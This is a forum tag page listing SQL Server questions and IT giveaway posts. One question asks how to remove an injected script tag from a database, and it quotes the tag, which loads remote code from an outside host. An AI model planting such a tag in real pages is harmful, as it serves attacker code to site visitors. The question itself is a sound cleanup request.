• SQL Server configuration

    How would I configure SQL Server 2008 R2 to handle 1 million connections?

    ETCGMan40 pointsBadges:
  • Improving the initial speed of a SQL query

    I have optimized my SQL query to the maximum extent. The first time I ran the query, it took 7 seconds; the next time it took half a second. Why did this happen? How can I make the query run faster the first time around?

    SQL Server Ask the Experts2,585 pointsBadges:
  • How to Encrypt a Column in sql server 2000/2005

    How to Encrypt a Column in SQL Server 2000/2005 i.e I need something like this: @OriginalValue = 'Original Value' @EncryptedValue @Key int set @Key = '123#$2hj$dfgh*67kjugd45j45s4agd' --any unique key value for encrypting and decrypting set @EncryptedValue = fn_Encrypt(@OriginalValue, @Key) insert...

    Dot net lerner5 pointsBadges:
  • Encrypt a Column in SQL Server 2005

    I'm trying to encrypt a column. Unfortunately I don't have access to the C# source code that is accessing the data. All the instructions I've found require me to use the decrypt function in my SQL command. How do I automatically encrypt and decrypt without being able to change the source code? Is...

    Jfw10075 pointsBadges:
  • Ability to spawn (or fork) a sproc in SQL Server 2000

    Is it possible in SQL Server 2000 for a sproc to call another sproc and then return it's output variables and close before (or while) the nested sproc processes? Goal is to nest a sproc that willl perform auditing on the called sproc without slowing it down waiting for the auditing.

    CO Bill120 pointsBadges:
  • How to restore Sql Server 2000 mdf and ldf data

    I have MDF and LDF files with different modified dates. How could I attach these to SQL Server 2000

    Databaseserver20 pointsBadges:
  • Accessing another database using a variable

    I have a select like this: SELECT a.part_id, a.descript, b.location from PART_MASTER a, anotherdatabase.INVENTORY b where a.part_id = b.part_id Is it possible to use a @variable to identify the other database, rather than hard coding it? (I've tried @db2.INVENTORY b) but SQL SERVER 2000 doesn't...

    CO Bill120 pointsBadges:
  • Free IT Book: Official Cert Guide for CCNP Security SECURE 642-637

    This week's free IT book is just what you need if you're planning to take your CCNP Security SECURE 642-637 certification exam. From exam topics and quizzes to exam prep tasks and realistic exam questions, the Official Cert Guide is a must for everyone preparing or planning to prepare for this...

    MelanieYarbrough6,345 pointsBadges:
  • How to read data from a stored procedure in RPGLE

    How do I read data from a stored procedure?

    CitizenJoe15 pointsBadges:
  • How to retrieve, add and update data manually using VB.NET 2005

    Hey guys! I'm quite new to VB.NET 2005. I need to know how to add, update and retrieve data manually using VB.NET 2005. In the software which I'm trying to implement, data is entered in text boxes and then they are updated/added into an SQL table. When retrieving the data, for example: A student is...

    Obhasha0795 pointsBadges:
  • Free IT Book: Fedora and Red Hat Enterprise Linux

    The Practical Guide to Fedora and Red Hat Enterprise Linux serves as both a tutorial and an on-the-job reference. You'll learn to use GUI-based tools, the command line, and Perl scripts, and how to set up key Internet servers. How do you win this book? Simply answer one of five questions and post...

    MelanieYarbrough6,345 pointsBadges:
  • Free IT Book: Microsoft Windows 7 Administrator’s Reference

    This week's IT book giveaway is for the Microsoft Windows 7 Administrator's Reference: Upgrading, Deploying, Managing, and Securing Windows 7. Interested? All you need to do is answer one of the questions below and post the link to your answer in the discussion area of this question. JavaScript...

    MelanieYarbrough6,345 pointsBadges:
  • Free IT Book: Cisco Firewalls

    Learn concepts, design and deployment for Cisco Stateful Firewall solutions with this week's free IT book. To win, simply answer one of five questions and post the link to your answer below. Windows Server 2003 user locked Windows 7 Professional permissions Offline folder issue in Windows Server...

    MelanieYarbrough6,345 pointsBadges:
  • Remove SQL Injection script

    I need a t-SQL routine that will remove this script '</title><script src=http://statsmy.com/ur.php ></script>' from my MSSQL database. The routine needs to either ignore text / Ntext variables or also fix them. Thanks for your help!

    gshutch15 pointsBadges:
  • SQL Server 2005 using VB.NET 2005

    How do I retrieve, add and update data from SQL Server 2005 manually using VB.NET 2005?

    Bbm5 pointsBadges:
  • New Member contest: Win a free iPad

    Click here for all the details. Good luck to everyone.

    ITKE344,995 pointsBadges:
  • Free IT Book: Ubuntu Unleashed, 2011 Edition

    "Ubuntu Unleashed 2011 Edition presents advanced coverage of the popular Ubuntu distribution of Linux. Windows users, Mac users, and Linux enthusiasts have been increasingly turning to Ubuntu for a user-friendly and easy-to-use Linux distribution that remains useful to power users." To win this...

    MelanieYarbrough6,345 pointsBadges:
  • Free IT Book: Computer Incident Response and Product Security

    This week's free IT book is a practical guide to building and running incident response and product security teams. To win Cisco's Computer Incident Response and Product Security answer one of these five questions and post the link to your answer in the discussion area below. Good luck! Mitigating...

    MelanieYarbrough6,345 pointsBadges:
  • New Contest: You Could Win a New Xbox 360

    Now is the time to ask and answer questions on ITKnowledgeExchange.com because you could take home a newly released Xbox 360. From today (June 16th) through July 30th, you have a chance to win 1 of 2 Xbox 360s or 1 of 3 $50 Amazon Gift Cards. The five community members who have the most Knowledge...

    ITKE344,995 pointsBadges:
  • How to query a SQL Server 2008 database from Outlook

    The purpose of this module is to monitor the activity of Outlook and grab the attachment (. Zip file) for a specific email address and subject line and place it on the server (and create the Server Folder(s) Structure: CompanyName->weekNo.->zip file(s)) I have to mention that we are going to...

    SoftwareQuestions5 pointsBadges:

Forgot Password

No problem! Submit your e-mail address below. We'll send you an e-mail containing your password.

Your password has been sent to:

To follow this tag...

There was an error processing your information. Please try again later.

REGISTER or login:

Forgot Password?
By submitting you agree to receive email from TechTarget and its partners. If you reside outside of the United States, you consent to having your personal data transferred to and processed in the United States. Privacy

Thanks! We'll email you when relevant content is added and updated.

Following